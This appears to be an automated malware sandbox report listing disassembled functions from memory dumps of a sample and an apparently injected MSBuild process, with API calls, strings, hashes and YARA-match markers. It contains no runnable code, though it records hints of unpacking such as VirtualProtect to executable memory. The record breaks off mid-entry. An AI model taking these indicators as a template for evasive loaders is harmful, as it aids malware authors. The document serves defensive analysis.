Function 00405200 Relevance: 9.1, APIs: 6, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(00000000,7FFFFFFF,00000000,00000000,?,00000000,?), ref: 004052D1
memmove.VCRUNTIME140(00000000,?,00000000,00000000,7FFFFFFF,00000000,00000000,?,00000000,?), ref: 004052DF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000000,?,00000000,?), ref: 00405322
memmove.VCRUNTIME140(00000000,?,00000000,00000000,?,00000000,?), ref: 0040532A
memmove.VCRUNTIME140(7FFFFFFF,?,00000000,00000000,?,00000000,00000000,?,00000000,?), ref: 00405336
Concurrency::cancel_current_task.LIBCPMT ref: 00405356

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: 8503e021b2b304f7ce3305817fd18d728f063cd89935cabf02004bc9b3ec7c7c
Instruction ID: 4eb3f6f141c6f5b361e425cacd6a88f565c6ba1aee9275940582b801404b5975
Opcode Fuzzy Hash: 8503e021b2b304f7ce3305817fd18d728f063cd89935cabf02004bc9b3ec7c7c
Instruction Fuzzy Hash: 8541D172A005089BCB05EFA9DD8066FB7A5EF48350B1402BEE811F7381D778ED519F95

Function 00405BA0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00405D85

Part of subcall function 004065A4: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00405999,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004065B9

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,00407750,000000FF,?,0040382A,?), ref: 00405D7F
_CxxThrowException.VCRUNTIME140(00000000,00000000,?,00407750,?,?,?,00407750,000000FF,?,0040382A,?,?,?,00000000,?), ref: 00405DAC

Strings

*8@, xrefs: 00405BBF, 00405D6B
*8@, xrefs: 00405BD0

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrow_invalid_parameter_noinfo_noreturnmalloc
String ID: *8@$*8@
API String ID: 3455115287-1035100689
Opcode ID: d80436bdce01d78a235bee7c4edb801e81255d37a70d19fe4e73ea8041c8ccab
Instruction ID: 87efe70fe27c9e66d35ebbaec1a8b096a8fa132690156ef530215325d178cc1a
Opcode Fuzzy Hash: d80436bdce01d78a235bee7c4edb801e81255d37a70d19fe4e73ea8041c8ccab
Instruction Fuzzy Hash: 1351C271A005059FCB08DF6DC995AAEB7F5EF48300F14813EE906E7395DB38A910CB94

Function 00401FF0 Relevance: 7.7, APIs: 5, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__std_exception_destroy.VCRUNTIME140(?), ref: 004020DE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 004020FF
__std_exception_destroy.VCRUNTIME140(?), ref: 004021F7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00402202
__std_exception_copy.VCRUNTIME140(?,?,CF5D1773,?,?,?,00000000,00407513,000000FF), ref: 00402252

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __std_exception_destroy_invalid_parameter_noinfo_noreturn$__std_exception_copy
String ID:
API String ID: 3884296093-0
Opcode ID: 8174985c7bff066a2e725d9f848252bd8f689be593771c17c905545e868d5e00
Instruction ID: 6ee6a9a2c80c1f2e19e2cca06dd1507c8cf6ebc32bb1fe9f4364bbaf63d93872
Opcode Fuzzy Hash: 8174985c7bff066a2e725d9f848252bd8f689be593771c17c905545e868d5e00
Instruction Fuzzy Hash: AD81E0B15006009BD328DF28DE88B5AB7E5EF04314F148A2EE586D7BD0D7B9E954CB98

Function 004065A4 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

_CxxThrowException.VCRUNTIME140(?,004097A0,?,?), ref: 004010F7
__std_exception_copy.VCRUNTIME140(?,?,?,?,?,004097A0,?,?), ref: 0040111E
_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00405999,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004065AC
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00405999,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004065B9
_CxxThrowException.VCRUNTIME140(?,0040969C), ref: 00406BF5

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExceptionThrow$__std_exception_copy_callnewhmalloc
String ID:
API String ID: 3601187372-0
Opcode ID: 5553087e5ff74ecbb995a087664903a85f6befb25cbb8d8495268b169776aee6
Instruction ID: 12e5d4d5380d7a6bbc16b3ebeab2634c780163877a73ea13e738e1f43976aa93
Opcode Fuzzy Hash: 5553087e5ff74ecbb995a087664903a85f6befb25cbb8d8495268b169776aee6
Instruction Fuzzy Hash: 0E01483481020CB7CB10ABA5EC0194977AC9E00354B10853BB555BB5C1FB78F66486DA

Function 00406F7B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00406FBA
__current_exception_context.VCRUNTIME140 ref: 00406FC4
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00406FCB

Strings

csm, xrefs: 00406F85

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: 2b277e82cc71d25292458b7127b468e45153537af29fadbd8150e6083ba38897
Instruction ID: bdab9ec0703f57c453b4447dc2fa81089d3aa0a21072dc51232c5dda13755b33
Opcode Fuzzy Hash: 2b277e82cc71d25292458b7127b468e45153537af29fadbd8150e6083ba38897
Instruction Fuzzy Hash: B3F0A731400203CBCB305E6AA40501BF76DFE1032536A143BE449EB790C778FEA1C6DA

Function 004054C0 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?,?,?,?), ref: 00405598
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?), ref: 00405600
memmove.VCRUNTIME140(00000000,?,?,?,?,?), ref: 00405608

Part of subcall function 004065A4: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00405999,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004065B9

Concurrency::cancel_current_task.LIBCPMT ref: 00405640

Part of subcall function 004010E0: _CxxThrowException.VCRUNTIME140(?,004097A0,?,?), ref: 004010F7
Part of subcall function 004010E0: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,004097A0,?,?), ref: 0040111E

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_taskExceptionThrow__std_exception_copy_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1727118979-0
Opcode ID: 0451a50a92736438ea55de622cadcc93bd468936f07fb2509d22cf5738657d6f
Instruction ID: 594789655c701d96ef564807764296290749df85c842e7b8f7d020241c07dee2
Opcode Fuzzy Hash: 0451a50a92736438ea55de622cadcc93bd468936f07fb2509d22cf5738657d6f
Instruction Fuzzy Hash: B8411471A00A19ABCB08DFA8D88156FB3A6EF48310764463AE916E73C5E635ED118B94

Function 004050E0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?,?,?), ref: 0040519A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?), ref: 004051D7
memmove.VCRUNTIME140(00000000,?,?,?,?), ref: 004051DF
Concurrency::cancel_current_task.LIBCPMT ref: 004051F9

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: d2891d0d462be18845ecdd3d8fdb9f4ee9514bb5d3f483997faf1bfa501ee3c8
Instruction ID: 62c3f495415258027354c78d9e91a7916a3428ad93fa1b324fa613fb3cd8a30b
Opcode Fuzzy Hash: d2891d0d462be18845ecdd3d8fdb9f4ee9514bb5d3f483997faf1bfa501ee3c8
Instruction Fuzzy Hash: A2313872E005149BCB18AB699C8066FB7A9EF88350B24427FEC15FF385D634DD118B99

Function 00404FE0 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,00000000,?,?,00000000,?,?,?,?), ref: 00405013
memmove.VCRUNTIME140(00000000,?,?,?,00000000,?,?,00000000,?,?,?,?), ref: 004050B1

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 4a86ae0a93a60abe5116cfd889ea80a2848657e28e0e1f93b4fd5beb80747c9d
Instruction ID: ed8dd8c7cdd791d768feb9c47cf17d7ccfc0a38775d846fbddafa3024c4be6f2
Opcode Fuzzy Hash: 4a86ae0a93a60abe5116cfd889ea80a2848657e28e0e1f93b4fd5beb80747c9d
Instruction Fuzzy Hash: 5F2107B2901610ABC720AF79984055FBBE8DF85360B110677EC2AE73D1E639D9148BDA

Function 00405360 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,?,?), ref: 00405392
memmove.VCRUNTIME140(00000000,?,?,?,?), ref: 0040541F
Concurrency::cancel_current_task.LIBCPMT ref: 0040543C

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task
String ID:
API String ID: 1247048853-0
Opcode ID: 376c34d502a492a2fe31a47e4be2428688017b400f27c67ef417dab9328a7221
Instruction ID: 75e205a60c0bd9d3041006b7e57cfc8024c067c9269a3831d48b097186adaa30
Opcode Fuzzy Hash: 376c34d502a492a2fe31a47e4be2428688017b400f27c67ef417dab9328a7221
Instruction Fuzzy Hash: 18219D72A015049BC714AF69D8807AFBBD8DF44360F10027BEC15EB3D2DA78CD519B96

Function 00406144 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000400,CF5D1773,00000000,00000000,00000000,00000000,00000000,?,?,?,00404CB7,00000000,?,00000000,00000000), ref: 00406161
GetLastError.KERNEL32(?,00404CB7,00000000,?,00000000,00000000,00000000,CF5D1773,?,?), ref: 0040616D
WideCharToMultiByte.KERNEL32(?,00000000,CF5D1773,00000000,00000000,00000000,00000000,00000000,?,00404CB7,00000000,?,00000000,00000000,00000000,CF5D1773), ref: 00406193
GetLastError.KERNEL32(?,00404CB7,00000000,?,00000000,00000000,00000000,CF5D1773,?,?), ref: 0040619F

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: fda508fa4b8a7ce92bee4fb6e6d38e6d1312678ef7af61516c973bb93025604b
Instruction ID: fd9f6be5fd87f50b2ef4b81d1739d6acc5d35fcc76782da982070341007af20d
Opcode Fuzzy Hash: fda508fa4b8a7ce92bee4fb6e6d38e6d1312678ef7af61516c973bb93025604b
Instruction Fuzzy Hash: 6F011236600555BBCF220F91DE08C9B3E76EBD97A0B114539FE0265260CA35C832E7A9

Function 004048E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 0040490F
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 00404917

Strings

R`@, xrefs: 004048F0

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@
String ID: R`@
API String ID: 3957707012-2203585019
Opcode ID: 5e8d62677cfea4b5fa3cf758110c5c247cc10cf228db72ebe8eabe20172666d0
Instruction ID: 075d1ac445bc3847931ad301f391e1e2da91ef0fb2e5b4a33602566efb08f63a
Opcode Fuzzy Hash: 5e8d62677cfea4b5fa3cf758110c5c247cc10cf228db72ebe8eabe20172666d0
Instruction Fuzzy Hash: 31F024752002049FD311DB19D84498DBBE4AF81308B05843EEA86A7391CB30A805CB98

Function 00401180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(string too long,0040543C,?,?), ref: 00401185
__std_exception_copy.VCRUNTIME140(?,?,?), ref: 004011AE

Strings

string too long, xrefs: 00401180

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@__std_exception_copy
String ID: string too long
API String ID: 127952674-2556327735
Opcode ID: 6fb44615c8df3103e0f1bbbeb7fc8c61e69bfb479f3a857ce9f506b29682e910
Instruction ID: 1281763527e583b066649025277940d7600b7cf5e37886929920d5aa3363f3f4
Opcode Fuzzy Hash: 6fb44615c8df3103e0f1bbbeb7fc8c61e69bfb479f3a857ce9f506b29682e910
Instruction Fuzzy Hash: B6E04F715106055BC2109F98DE44946B79CDF15655710853EF6C4F6200FB70945087AC

Function 004064E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0040653B: memset.VCRUNTIME140(0040B44C,00000000,00000018,?,0040B438,004064F0,?,0040100A), ref: 00406548

Part of subcall function 004023D0: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,?,00409710,?,?,?,?,exists,CF5D1773), ref: 004023D5
Part of subcall function 004023D0: GetLastError.KERNEL32(?,00000000,00000000,?,00409710,?,?,?,?,exists,CF5D1773), ref: 004023DF

IsDebuggerPresent.KERNEL32 ref: 0040651B
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule), ref: 0040652A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00406525

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionStringmemset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 4206453544-631824599
Opcode ID: 0fd6e87994fa67e90c093410e30434a927eb5c4123be31e2b6db77bac062f390
Instruction ID: bef8a313b869b806ed8518f577f5e6c05cb62b159702490e835c3ca6aef1b951
Opcode Fuzzy Hash: 0fd6e87994fa67e90c093410e30434a927eb5c4123be31e2b6db77bac062f390
Instruction Fuzzy Hash: C5E030B01007108ED3209F29FA0430676E09B44B04F41883ED8C6F26C0DBB9D4488B59

Analysis Process: 22594e132764.exePID: 6980, Parent PID: 6004COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	229
Total number of Limit Nodes:	4

Executed Functions

Function 00842021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(008CDED8,?,00000040,?), ref: 00842738

Strings

S, xrefs: 0084206A
', xrefs: 00842718
a, xrefs: 00842296

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 5de0b97b157f9f5c836174d2fec8e5eded6b1fdad5036e586fcb038573f027fe
Instruction ID: 4a171849437f98005d10c43b35c41a5f6f118628eb2f99bd53078babdadd46fc
Opcode Fuzzy Hash: 5de0b97b157f9f5c836174d2fec8e5eded6b1fdad5036e586fcb038573f027fe
Instruction Fuzzy Hash: 6BF1C227938E2F06E70864394D522E5A94AF7EA330FD25337BE63D73F4E36909419245

Function 00858E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00858FDD

Part of subcall function 00853A83: HeapAlloc.KERNEL32(00000000,0085A1AA,?,?,0085A1AA,00000220,?,?,?), ref: 00853AB5

__freea.LIBCMT ref: 00858FF2
__freea.LIBCMT ref: 00859002

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 488b93d1e062c5abab18d742c65ea3f099b392c5e46487f453dca221a235bc1a
Instruction ID: e9fcaa777d83acedd2bca635a22df4231b62d6eeecd27b874e26ee0a3246cf0a
Opcode Fuzzy Hash: 488b93d1e062c5abab18d742c65ea3f099b392c5e46487f453dca221a235bc1a
Instruction Fuzzy Hash: 5051A47260021AEFEF219F68CC81EBB76AAFF48756B15052AFD04E6150EF71CC588761

Function 0085A3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00859ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00859F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,0085A1ED,?,00000000,?,?,?), ref: 0085A407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,0085A1ED,?,00000000,?,?,?), ref: 0085A449

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: a38e1b6329dd0196bff1314a8a56bb27975fe4a2867dd581956add17ff6382c4
Instruction ID: d31ef5fee6779c49bf6f341ab7341bb751ec24097217e52103aa21e8cdcc70ae
Opcode Fuzzy Hash: a38e1b6329dd0196bff1314a8a56bb27975fe4a2867dd581956add17ff6382c4
Instruction Fuzzy Hash: 8D515870A003458FDB25CFB5C8C5AAABBF5FF81305F14866ED882CB251E6B4994DCB52

Function 00856368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00858F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0085639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00858F1C,?,?,00000000,?,00000000), ref: 008563BA

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: e00910474cc7e7113663d4edef01dc7b3e3e02cdf16e6349de3b1d5d918e35ae
Instruction ID: 0429a30e06f9394b7ed4d272cfe383dd0554b65e779b094f16019f1e98a679dc
Opcode Fuzzy Hash: e00910474cc7e7113663d4edef01dc7b3e3e02cdf16e6349de3b1d5d918e35ae
Instruction Fuzzy Hash: D1F0763240015ABBCF126F90DC09EDE3F26FF483A1F458010FE18A6120DB32D979AB91

Function 00859FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,0085A1F9,0085A1ED,00000000), ref: 00859FDC

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 05f6e846a3ba47b4a580c5add3b6555454546133113a27d500fa54c8d961ef03
Instruction ID: fc4fbdb8011b596748700c903a10a135c7009e7e968baa612e3a51ae85b6e677
Opcode Fuzzy Hash: 05f6e846a3ba47b4a580c5add3b6555454546133113a27d500fa54c8d961ef03
Instruction Fuzzy Hash: D5516A7190465CDADF218A28CCC0BE67BB8FB45304F2406EDE99AC7182D275AD4ADF21

Non-executed Functions

Function 0085C814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0085CB32,00000002,00000000,?,?,?,0085CB32,?,00000000), ref: 0085C8AD
GetLocaleInfoW.KERNEL32(?,20001004,0085CB32,00000002,00000000,?,?,?,0085CB32,?,00000000), ref: 0085C8D6
GetACP.KERNEL32(?,?,0085CB32,?,00000000), ref: 0085C8EB

Strings

OCP, xrefs: 0085C868
ACP, xrefs: 0085C832

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 07e348cbdf9b57a11ad53a18b2af3aca86d209a10ad974311096f021edc4af79
Instruction ID: ecb5ba7fa4a04c89c9b6be87790685d936bfa45e20f4f61adebd9259f50e2b0c
Opcode Fuzzy Hash: 07e348cbdf9b57a11ad53a18b2af3aca86d209a10ad974311096f021edc4af79
Instruction Fuzzy Hash: F0218E22A00305AEDB248F55C901AA777A6FF54F56B568434ED0ADB200EB32DE4CDF90

Function 0085C9E9 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00854EB1: GetLastError.KERNEL32(?,00000008,00859482), ref: 00854EB5
Part of subcall function 00854EB1: SetLastError.KERNEL32(00000000,0086C480,00000024,00850419), ref: 00854F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0085CAF5
IsValidCodePage.KERNEL32(00000000), ref: 0085CB3E
IsValidLocale.KERNEL32(?,00000001), ref: 0085CB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0085CB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0085CBB4

Memory Dump Source

Source File: 00000008.00000002.2318183895.0000000000841000.00000020.00000001.01000000.00000008.sdmp, Offset: 00840000, based on PE: true

Associated: 00000008.00000002.2318152852.0000000000840000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318235130.0000000000863000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318356285.00000000008CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318392994.00000000008CF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.2318429519.00000000008D0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_840000_22594e132764.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
